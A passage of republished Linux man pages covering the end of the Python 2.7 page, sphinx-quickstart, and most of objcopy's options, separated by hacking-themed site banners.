Prints the Python version number of the executable and exits.

**-W argument
Warning control. Python sometimes prints warning message to sys.stderr. A typical warning message has the following form: file
:line: category: **message. By default, each warning is printed once for each source line where it occurs. This option controls how often warnings are printed. Multiple -W options may be given; when a warning matches more than one option, the action for the last matching option is performed. Invalid -W options are ignored (a warning message is printed about invalid options when the first warning is issued). Warnings can also be controlled from within a Python program using the warnings module.

The simplest form of argument is one of the following action strings (or a unique abbreviation): ignore to ignore all warnings; default to explicitly request the default behavior (printing each warning once per source line); all to print a warning each time it occurs (this may generate many messages if a warning is triggered repeatedly for the same source line, such as inside a loop); module to print each warning only the first time it occurs in each module; once to print each warning only the first time it occurs in the program; or error to raise an exception instead of printing a warning message.

The full form of argument is action**:message:category:module:**line. Here, action is as explained above but only applies to messages that match the remaining fields. Empty fields match all values; trailing empty fields may be omitted. The message field matches the start of the warning message printed; this match is case-insensitive. The category field matches the warning category. This must be a class name; the match test whether the actual warning category of the message is a subclass of the specified warning category. The full class name must be given. The module field matches the (fully-qualified) module name; this match is case-sensitive. The line field matches the line number, where zero matches all line numbers and is thus equivalent to an omitted line number.

-x
Skip the first line of the source. This is intended for a DOS specific hack only. Warning: the line numbers in error messages will be off by one!

-3
Warn about Python 3.x incompatibilities that 2to3 cannot trivially fix.

INTERPRETER INTERFACE

The interpreter interface resembles that of the UNIX shell: when called with standard input connected to a tty device, it prompts for commands and executes them until an EOF is read; when called with a file name argument or with a file as standard input, it reads and executes a script from that file; when called with -c command, it executes the Python statement(s) given as command. Here command may contain multiple statements separated by newlines. Leading whitespace is significant in Python statements! In non-interactive mode, the entire input is parsed before it is executed.

If available, the script name and additional arguments thereafter are passed to the script in the Python variable sys.argv, which is a list of strings (you must first import sys to be able to access it). If no script name is given, sys.argv[0] is an empty string; if -c is used, sys.argv[0] contains the string ’-c’. Note that options interpreted by the Python interpreter itself are not placed in sys.argv.

In interactive mode, the primary prompt is `>>>’; the second prompt (which appears when a command is not complete) is `…’. The prompts can be changed by assignment to sys.ps1 or sys.ps2. The interpreter quits when it reads an EOF at a prompt. When an unhandled exception occurs, a stack trace is printed and control returns to the primary prompt; in non-interactive mode, the interpreter exits after printing the stack trace. The interrupt signal raises the KeyboardInterrupt exception; other UNIX signals are not caught (except that SIGPIPE is sometimes ignored, in favor of the IOError exception). Error messages are written to stderr.

FILES AND DIRECTORIES

These are subject to difference depending on local installation conventions; ${prefix} and ${exec_prefix} are installation-dependent and should be interpreted as for GNU software; they may be the same. On Debian GNU/{Hurd,Linux} the default for both is /usr.

${exec_prefix}/bin/python
Recommended location of the interpreter.

${prefix}/lib/python<version>
${exec_prefix}/lib/python<version>

Recommended locations of the directories containing the standard modules.

${prefix}/include/python<version>
${exec_prefix}/include/python<version>

Recommended locations of the directories containing the include files needed for developing Python extensions and embedding the interpreter.

~/.pythonrc.py
User-specific initialization file loaded by the user module; not used by default or by most applications.

ENVIRONMENT VARIABLES

PYTHONHOME
Change the location of the standard Python libraries. By default, the libraries are searched in ${prefix}/lib/python<version> and ${exec_prefix}/lib/python<version>, where ${prefix} and ${exec_prefix} are installation-dependent directories, both defaulting to /usr/local. When $PYTHONHOME is set to a single directory, its value replaces both ${prefix} and ${exec_prefix}. To specify different values for these, set $PYTHONHOME to ${prefix}:${exec_prefix}.

PYTHONPATH
Augments the default search path for module files. The format is the same as the shell’s $PATH: one or more directory pathnames separated by colons. Non-existent directories are silently ignored. The default search path is installation dependent, but generally begins with ${prefix}/lib/python<version> (see PYTHONHOME above). The default search path is always appended to $PYTHONPATH. If a script argument is given, the directory containing the script is inserted in the path in front of $PYTHONPATH. The search path can be manipulated from within a Python program as the variable sys.path.

PYTHONSTARTUP
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same name space where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session. You can also change the prompts sys.ps1 and sys.ps2 in this file.

PYTHONY2K
Set this to a non-empty string to cause the time module to require dates specified as strings to include 4-digit years, otherwise 2-digit years are converted based on rules described in the time module documentation.

PYTHONOPTIMIZE
If this is set to a non-empty string it is equivalent to specifying the -O option. If set to an integer, it is equivalent to specifying -O multiple times.

PYTHONDEBUG
If this is set to a non-empty string it is equivalent to specifying the -d option. If set to an integer, it is equivalent to specifying -d multiple times.

PYTHONDONTWRITEBYTECODE
If this is set to a non-empty string it is equivalent to specifying the -B option (don’t try to write .py[co] files).

PYTHONINSPECT
If this is set to a non-empty string it is equivalent to specifying the -i option.

PYTHONIOENCODING
If this is set before running the interpreter, it overrides the encoding used for stdin/stdout/stderr, in the syntax encodingname**:**errorhandler The errorhandler part is optional and has the same meaning as in str.encode. For stderr, the errorhandler part is ignored; the handler will always be ‘backslashreplace’.

PYTHONNOUSERSITE
If this is set to a non-empty string it is equivalent to specifying the -s option (Don’t add the user site directory to sys.path).

PYTHONUNBUFFERED
If this is set to a non-empty string it is equivalent to specifying the -u option.

PYTHONVERBOSE
If this is set to a non-empty string it is equivalent to specifying the -v option. If set to an integer, it is equivalent to specifying -v multiple times.

PYTHONWARNINGS
If this is set to a comma-separated string it is equivalent to specifying the -W option for each separate value.

PYTHONHASHSEED
If this variable is set to “random”, the effect is the same as specifying the -R option: a random value is used to seed the hashes of str, bytes and datetime objects.

If PYTHONHASHSEED is set to an integer value, it is used as a fixed seed for generating the hash() of the types covered by the hash randomization. Its purpose is to allow repeatable hashing, such as for selftests for the interpreter itself, or to allow a cluster of python processes to share hash values.

The integer must be a decimal number in the range [0,4294967295]. Specifying the value 0 will lead to the same hash values as when hash randomization is disabled.

AUTHOR

The Python Software Foundation: https://www.python.org/psf/

INTERNET RESOURCES

Main website: https://www.python.org/
Documentation: file:///usr/share/doc/python2.7/html/index.html (python-doc package) or https://docs.python.org/2/
Developer resources: https://docs.python.org/devguide/
Downloads: https://www.python.org/downloads/
Module repository: https://pypi.python.org/
Newsgroups: comp.lang.python, comp.lang.python.announce

LICENSING

Python is distributed under an Open Source license. See the file “LICENSE” in the Python source distribution for information on terms & conditions for accessing and otherwise using Python and for a DISCLAIMER OF ALL WARRANTIES.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1946 - Linux cli command sphinx-quickstart

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sphinx-quickstart and provides detailed information about the command sphinx-quickstart, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sphinx-quickstart.

NAME 🖥️ sphinx-quickstart 🖥️

quickstart - Sphinx documentation template generator

SYNOPSIS

sphinx-quickstart

DESCRIPTION

sphinx-quickstart is an interactive tool that asks some questions about your project and then generates a complete documentation directory and sample Makefile to be used with sphinx-build(1).

OPTIONS

-q, –quiet
Quiet mode that skips the interactive wizard for specifying options. This option requires -p, -a and -v options.

-h, –help, –version
Display usage summary or Sphinx version.

Structure Options

–sep
If specified, separate source and build directories.

–no-sep
If specified, create build directory under source directory.

–dot=DOT
Inside the root directory, two more directories will be created; “_templates” for custom HTML templates and “_static” for custom stylesheets and other static files. You can enter another prefix (such as “.”) to replace the underscore.

Project Basic Options

-p PROJECT, –project=PROJECT
Project name will be set. (see project).

-a AUTHOR, –author=AUTHOR
Author names. (see copyright).

-v VERSION
Version of project. (see version).

-r RELEASE, –release=RELEASE
Release of project. (see release).

-l LANGUAGE, –language=LANGUAGE
Document language. (see language).

–suffix=SUFFIX
Source file suffix. (see source_suffix).

–master=MASTER
Master document name. (see root_doc).

Extension Options

–ext-autodoc
Enable sphinx.ext.autodoc extension.

–ext-doctest
Enable sphinx.ext.doctest extension.

–ext-intersphinx
Enable sphinx.ext.intersphinx extension.

–ext-todo
Enable sphinx.ext.todo extension.

–ext-coverage
Enable sphinx.ext.coverage extension.

–ext-imgmath
Enable sphinx.ext.imgmath extension.

–ext-mathjax
Enable sphinx.ext.mathjax extension.

–ext-ifconfig
Enable sphinx.ext.ifconfig extension.

–ext-viewcode
Enable sphinx.ext.viewcode extension.

–ext-githubpages
Enable sphinx.ext.githubpages extension.

–extensions=EXTENSIONS
Enable arbitrary extensions.

Makefile and Batchfile Creation Options

–use-make-mode (-m), –no-use-make-mode (-M)
Makefile/make.bat uses (or doesn’t use) make-mode. Default is use, which generates a more concise Makefile/make.bat.

Changed in version 1.5: make-mode is default.

Changed in version 7.3: Support for disabling the make-mode will be removed in Sphinx 8.

–makefile, –no-makefile
Create (or not create) makefile.

–batchfile, –no-batchfile
Create (or not create) batchfile

Project templating

Added in version 1.5: Project templating options for sphinx-quickstart

-t, –templatedir=TEMPLATEDIR
Template directory for template files. You can modify the templates of sphinx project files generated by quickstart. Following Jinja2 template files are allowed:

  • root_doc.rst_t

  • conf.py_t

  • Makefile_t

  • Makefile.new_t

  • make.bat_t

  • make.bat.new_t

In detail, please refer the system template files Sphinx provides. (sphinx/templates/quickstart)

-d NAME=VALUE
Define a template variable

SEE ALSO

sphinx-build(1)

COPYRIGHT

2007-2024, the Sphinx developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1947 - Linux cli command x86_64-linux-gnu-objcopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-objcopy and provides detailed information about the command x86_64-linux-gnu-objcopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-objcopy.

NAME 🖥️ x86_64-linux-gnu-objcopy 🖥️

copy and translate object files

SYNOPSIS

objcopy [-F bfdname|–target=bfdname] [-I bfdname|–input-target=bfdname] [-O bfdname|–output-target=bfdname] [-B bfdarch|–binary-architecture=bfdarch] [-S|–strip-all] [-g|–strip-debug] [–strip-unneeded] [-K symbolname|–keep-symbol=symbolname] [–keep-file-symbols] [–keep-section-symbols] [-N symbolname|–strip-symbol=symbolname] [–strip-unneeded-symbol=symbolname] [-G symbolname|–keep-global-symbol=symbolname] [–localize-hidden] [-L symbolname|–localize-symbol=symbolname] [–globalize-symbol=symbolname] [–globalize-symbols=filename] [-W symbolname|–weaken-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X|–discard-locals] [-b byte|–byte=byte] [-i [breadth]|–interleave[=breadth]] [–interleave-width=width] [-j sectionpattern|–only-section=sectionpattern] [-R sectionpattern|–remove-section=sectionpattern] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–debugging] [–gap-fill=val] [–pad-to=address] [–set-start=val] [–adjust-start=incr] [–change-addresses=incr] [–change-section-address sectionpattern{=,+,-}val] [–change-section-lma sectionpattern{=,+,-}val] [–change-section-vma sectionpattern{=,+,-}val] [–change-warnings] [–no-change-warnings] [–set-section-flags sectionpattern=flags] [–set-section-alignment sectionpattern=align] [–add-section sectionname=filename] [–dump-section sectionname=filename] [–update-section sectionname=filename] [–rename-section oldname=newname[,flags]] [–long-section-names {enable,disable,keep}] [–change-leading-char] [–remove-leading-char] [–reverse-bytes=num] [–srec-len=ival] [–srec-forceS3] [–redefine-sym old=new] [–redefine-syms=filename] [–weaken] [–keep-symbols=filename] [–strip-symbols=filename] [–strip-unneeded-symbols=filename] [–keep-global-symbols=filename] [–localize-symbols=filename] [–weaken-symbols=filename] [–add-symbol name=[section:]value[,flags]] [–alt-machine-code=index] [–prefix-symbols=string] [–prefix-sections=string] [–prefix-alloc-sections=string] [–add-gnu-debuglink=path-to-file] [–only-keep-debug] [–strip-dwo] [–extract-dwo] [–extract-symbol] [–writable-text] [–readonly-text] [–pure] [–impure] [–file-alignment=num] [–heap=reserve[,commit]] [–image-base=address] [–section-alignment=num] [–stack=reserve[,commit]] [–subsystem=which:major.minor] [–compress-debug-sections] [–decompress-debug-sections] [–elf-stt-common=val] [–merge-notes] [–no-merge-notes] [–verilog-data-width=val] [-v|–verbose] [-V|–version] [–help] [–info] infile [outfile]

DESCRIPTION

The GNU objcopy utility copies the contents of an object file to another. objcopy uses the GNU BFD Library to read and write the object files. It can write the destination object file in a format different from that of the source object file. The exact behavior of objcopy is controlled by command-line options. Note that objcopy should be able to copy a fully linked file between any two formats. However, copying a relocatable object file between any two formats may not work as expected.

objcopy creates temporary files to do its translations and deletes them afterward. objcopy uses BFD to do all its translation work; it has access to all the formats described in BFD and thus is able to recognize most formats without being told explicitly.

objcopy can be used to generate S-records by using an output target of srec (e.g., use -O srec).

objcopy can be used to generate a raw binary file by using an output target of binary (e.g., use -O binary). When objcopy generates a raw binary file, it will essentially produce a memory dump of the contents of the input object file. All symbols and relocation information will be discarded. The memory dump will start at the load address of the lowest section copied into the output file.

When generating an S-record or a raw binary file, it may be helpful to use -S to remove sections containing debugging information. In some cases -R will be useful to remove sections which contain information that is not needed by the binary file.

Note—objcopy is not able to change the endianness of its input files. If the input format has an endianness (some formats do not), objcopy can only copy the inputs into file formats that have the same endianness or which have no endianness (e.g., srec). (However, see the –reverse-bytes option.)

OPTIONS

infile

outfile

The input and output files, respectively. If you do not specify outfile, objcopy creates a temporary file and destructively renames the result with the name of infile.

-I bfdname

–input-target=bfdname

Consider the source file’s object format to be bfdname, rather than attempting to deduce it.

-O bfdname

–output-target=bfdname

Write the output file using the object format bfdname.

-F bfdname

–target=bfdname

Use bfdname as the object format for both the input and the output file; i.e., simply transfer data from source to destination with no translation.

-B bfdarch

–binary-architecture=bfdarch

Useful when transforming a architecture-less input file into an object file. In this case the output architecture can be set to bfdarch. This option will be ignored if the input file has a known bfdarch. You can access this binary data inside a program by referencing the special symbols that are created by the conversion process. These symbols are called _binary_objfile_start, _binary_objfile_end and _binary_objfile_size. e.g. you can transform a picture file into an object file and then access it in your code using these symbols.

-j sectionpattern

–only-section=sectionpattern

Copy only the indicated sections from the input file to the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be copied, even if earlier use of –only-section on the same command line would otherwise copy it. For example: –only-section=.text.* –only-section=!.text.foo will copy all sectinos matching ‘.text.*’ but not the section ‘.text.foo’.

-R sectionpattern

–remove-section=sectionpattern

Remove any section matching sectionpattern from the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. Using both the -j and -R options together results in undefined behaviour. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove non-dynamic relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable, and attempting to remove a dynamic relocation section such as .rela.plt from an executable or shared library with –remove-relocations=.plt will not work. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the pattern ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section header This option is specific to ELF files. Implies –strip-all and –merge-notes.

-S

–strip-all

Do not copy relocation and symbol information from the source file. Also deletes debug sections.

-g

–strip-debug

Do not copy debugging symbols or sections from the source file.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-N symbolname

–strip-symbol=symbolname

Do not copy symbol symbolname from the source file. This option may be given more than once.

–strip-unneeded-symbol=symbolname
Do not copy symbol symbolname from the source file unless it is needed by a relocation. This option may be given more than once.

-G symbolname

–keep-global-symbol=symbolname

Keep only symbol symbolname global. Make all other symbols local to the file, so that they are not visible externally. This option may be given more than once. Note: this option cannot be used in conjunction with the –globalize-symbol or –globalize-symbols options.

–localize-hidden
In an ELF object, mark all symbols that have hidden or internal visibility as local. This option applies on top of symbol-specific localization options such as -L.

-L symbolname

–localize-symbol=symbolname

Convert a global or weak symbol called symbolname into a local symbol, so that it is not visible externally. This option may be given more than once. Note - unique symbols are not converted.

-W symbolname

–weaken-symbol=symbolname

Make symbol symbolname weak. This option may be given more than once.

–globalize-symbol=symbolname
Give symbol symbolname global scoping so that it is visible outside of the file in which it is defined. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -W !foo -W fo* would cause objcopy to weaken all symbols that start with “fo” except for the symbol “foo”.

-x

–discard-all

Do not copy non-global symbols from the source file.

-X

–discard-locals

Do not copy compiler-generated local symbols. (These usually start with L or ..)

-b byte

–byte=byte

If interleaving has been enabled via the –interleave option then start the range of bytes to keep at the byteth byte. byte can be in the range from 0 to breadth-1, where breadth is the value given by the –interleave option.

-i [breadth]

–interleave[=breadth]

Only copy a range out of every breadth bytes. (Header data is not affected). Select which byte in the range begins the copy with the –byte option. Select the width of the range with the –interleave-width option. This option is useful for creating files to program ROM. It is typically used with an srec output target. Note that objcopy will complain if you do not specify the –byte option as well. The default interleave breadth is 4, so with –byte set to 0, objcopy would copy the first byte out of every four bytes from the input to the output.

–interleave-width=width
When used with the –interleave option, copy width bytes at a time. The start of the range of bytes to be copied is set by the –byte option, and the extent of the range is set with the –interleave option. The default value for this option is 1. The value of width plus the byte value set by the –byte option must not exceed the interleave breadth set by the –interleave option. This option can be used to create images for two 16-bit flashes interleaved in a 32-bit bus by passing -b 0 -i 4 –interleave-width=2 and -b 2 -i 4 –interleave-width=2 to two objcopy commands. If the input was ‘12345678’ then the outputs would be ‘1256’ and ‘3478’ respectively.

-p

–preserve-dates

Set the access and modification dates of the output file to be the same as those of the input file. This option also copies the date stored in a PE format file’s header, unless the SOURCE_DATE_EPOCH environment variable is defined. If it is defined then this variable will be used as the date stored in the header, interpreted as the number of seconds since the Unix epoch.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

–debugging
Convert debugging information, if possible. This is not the default because only certain debugging formats are supported, and the conversion process can be time consuming.

–gap-fill val
Fill gaps between sections with val. This operation applies to the load address (LMA) of the sections. It is done by increasing the size of the section with the lower address, and filling in the extra space created with val.

–pad-to address
Pad the output file up to the load address address. This is done by increasing the size of the last section. The extra space is filled in with the value specified by –gap-fill (default zero).

–set-start val
Set the start address (also known as the entry address) of the new file to val. Not all object file formats support setting the start address.

–change-start incr

–adjust-start incr

Change the start address (also known as the entry address) by adding incr. Not all object file formats support setting the start address.

–change-addresses incr

–adjust-vma incr

Change the VMA and LMA addresses of all sections, as well as the start address, by adding incr. Some object file formats do not permit section addresses to be changed arbitrarily. Note that this does not relocate the sections; if the program expects sections to be loaded at a certain address, and this option is used to change the sections such that they are loaded at a different address, the program may fail.

–change-section-address sectionpattern{=,+,-}val

–adjust-section-vma sectionpattern{=,+,-}val

Set or change both the VMA address and the LMA address of any section matching sectionpattern. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-lma sectionpattern{=,+,-}val
Set or change the LMA address of any sections matching sectionpattern. The LMA address is the address where the section will be loaded into memory at program load time. Normally this is the same as the VMA address, which is the address of the section at program run time, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-vma sectionpattern{=,+,-}val
Set or change the VMA address of any section matching sectionpattern. The VMA address is the address where the section will be located once the program has started executing. Normally this is the same as the LMA address, which is the address where the section will be loaded into memory, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used. Note - changing the VMA of sections in a fully linked binary can be dangerous since there may be code that expects the sections to be located at their old address.

–change-warnings

–adjust-warnings

If –change-section-address or –change-section-lma or –change-section-vma is used, and the section pattern does not match any sections, issue a warning. This is the default.

–no-change-warnings

–no-adjust-warnings

Do not issue a warning if –change-section-address or –adjust-section-lma or –adjust-section-vma is used, even if the section pattern does not match any sections.

–set-section-flags sectionpattern=flags
Set the flags for any sections matching sectionpattern. The flags argument is a comma separated string of flag names. The recognized names are alloc, contents, load, noload, readonly, code, data, rom, exclude, share, debug, and large. You can set the contents flag for a section which does not have contents, but it is not meaningful to clear the contents flag of a section which does have contents–just remove the section instead. Not all flags are meaningful for all object file formats. In particular the share flag is only meaningful for COFF format files and not for ELF format files. The ELF x86-64 specific flag large corresponds to SHF_X86_64_LARGE.

–set-section-alignment sectionpattern=align
Set the alignment for any sections matching sectionpattern. align specifies the alignment in bytes and must be a power of two, i.e. 1, 2, 4, 8…. Note - setting a section’s alignment will not automatically align its LMA or VMA addresses. If those need to be changed as well then the –change-section-lma and/or –change-section-vma options should be used. Also note that changing VMAs can cause problems in fully linked binaries where there may be code that expects the contents of the sections to be located at their old address.

–add-section sectionname=filename
Add a new section named sectionname while copying the file. The contents of the new section are taken from the file filename. The size of the section will be the size of the file. This option only works on file formats which can support sections with arbitrary names. Note - it may be necessary to use the –set-section-flags option to set the attributes of the newly created section.

–dump-section sectionname=filename
Place the contents of section named sectionname into the file filename, overwriting any contents that may have been there previously. This option is the inverse of –add-section. This option is similar to the –only-section option except that it does not create a formatted file, it just dumps the contents as raw binary data, without applying any relocations. The option can be specified more than once.

–update-section sectionname=filename
Replace the existing contents of a section named sectionname with the contents of file filename. The size of the section will be adjusted to the size of the file. The section flags for sectionname will be unchanged. For ELF format files the section to segment mapping will also remain unchanged, something which is not possible using –remove-section followed by –add-section. The option can be specified more than once. Note - it is possible to use –rename-section and –update-section to both update and rename a section from one command line. In this case, pass the original section name to –update-section, and the original and new section names to –rename-section.

–add-symbol name=[section:]value[,flags]
Add a new symbol named name while copying the file. This option may be specified multiple times. If the section is given, the symbol will be associated with and relative to that section, otherwise it will be an ABS symbol. Specifying an undefined section will result in a fatal error. There is no check for the value, it will be taken as specified. Symbol flags can be specified and not all flags will be meaningful for all object file formats. By default, the symbol will be global. The special flag ‘before=othersym’ will insert the new symbol in front of the specified othersym, otherwise the symbol(s) will be added at the end of the symbol table in the order they appear.

–rename-section oldname=newname[,flags]
Rename a section from oldname to newname, optionally changing the section’s flags to flags in the process. This has the advantage over using a linker script to perform the rename in that the output stays as an object file and does not become a linked executable. This option accepts the same set of flags as the –set-section-flags option. This option is particularly helpful when the input format is binary, since this will always create a section called .data. If for example, you wanted instead to create a section called .rodata containing binary data you could use the following command line to achieve it: objcopy -I binary -O <output_format> -B <architecture> \ –rename-section .data=.rodata,alloc,load,readonly,data,contents \ <input_binary_file> <output_object_file>

–long-section-names {enable,disable,keep}
Controls the handling of long section names when processing COFF and PE-COFF object formats. The default behaviour, keep, is to preserve long section names if any are present in the input file. The enable and disable options forcibly enable or disable the use of long section names in the output object; when disable is in effect, any long section names in the input object will be truncated. The enable option will only emit long section names if any are present in the inputs; this is mostly the same as keep, but it is left undefined whether the enable option might force the creation of an empty string table in the output file.

–change-leading-char
Some object file formats use special characters at the start of symbols. The most common such character is underscore, which compilers often add before every symbol. This option tells objcopy to change the leading character of every symbol when it converts between object file formats. If the object file formats use the same leading character, this option has no effect. Otherwise, it will add a character, or remove a character, or change a character, as appropriate.

–remove-leading-char
If the first character of a global symbol is a special symbol leading character used by the object file format, remove the character. The most common symbol leading character is underscore. This option will remove a leading underscore from all global symbols. This can be useful if you want to link together objects of different file formats with different conventions for symbol names. This is different from –change-leading-char because it always changes the symbol name when appropriate, regardless of the object file format of the output file.

–reverse-bytes=num
Reverse the bytes in a section with output contents. A section length must be evenly divisible by the value given in order for the swap to be able to take place. Reversing takes place before the interleaving is performed. This option is used typically in generating ROM images for problematic target systems. For example, on some target boards, the 32-bit words fetched from 8-bit ROMs are re-assembled in little-endian byte order regardless of the CPU byte order. Depending on the programming model, the endianness of the ROM may need to be modified. Consider a simple file with a section containing the following eight bytes: 12345678. Using –reverse-bytes=2 for the above example, the bytes in the output file would be ordered 21436587. Using –reverse-bytes=4 for the above example, the bytes in the output file would be ordered 43218765. By using –reverse-bytes=2 for the above example, followed by –reverse-bytes=4 on the output file, the bytes in the second output file would be ordered 34127856.

–srec-len=ival
Meaningful only for srec output. Set the maximum length of the Srecords being produced to ival. This length covers both address, data and crc fields.

–srec-forceS3
Meaningful only for srec output. Avoid generation of S1/S2 records, creating S3-only record format.

–redefine-sym old=new
Change the name of a symbol old, to new. This can be useful when one is trying link two things together for which you have no source, and there are name collisions.

–redefine-syms=filename
Apply –redefine-sym to each symbol pair “old new” listed in the file filename. filename is simply a flat file, with one symbol pair per line. Line comments may be introduced by the hash character. This option may be given more than once.

–weaken
Change all global symbols in the file to be weak. This can be useful when building an object which will be linked against other objects using the -R option to the linker. This option is only effective when using an object file format which supports weak symbols.

–keep-symbols=filename
Apply –keep-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-symbols=filename
Apply –strip-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-unneeded-symbols=filename
Apply –strip-unneeded-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–keep-global-symbols=filename
Apply –keep-global-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–localize-symbols=filename
Apply –localize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–globalize-symbols=filename
Apply –globalize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

–weaken-symbols=filename
Apply –weaken-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–alt-machine-code=index
If the output architecture has alternate machine codes, use the indexth code instead of the default one. This is useful in case a machine is assigned an official code and the tool-chain adopts the new code, but other applications still depend on the original code being used. For ELF based architectures if the index alternative does not exist then the value is treated as an absolute number to be stored in the e_machine field of the ELF header.

–writable-text
Mark the output text as writable. This option isn’t meaningful for all object file formats.

–readonly-text
Make the output text write protected. This option isn’t meaningful for all object file formats.

–pure
Mark the output file as demand paged. This option isn’t meaningful for all object file formats.

–impure
Mark the output file as impure. This option isn’t meaningful for all object file formats.

–prefix-symbols=string
Prefix all symbols in the output file with string.

–prefix-sections=string
Prefix all section names in the output file with string.

–prefix-alloc-sections=string
Prefix all the names of all allocated sections in the output file with string.

–add-gnu-debuglink=path-to-file
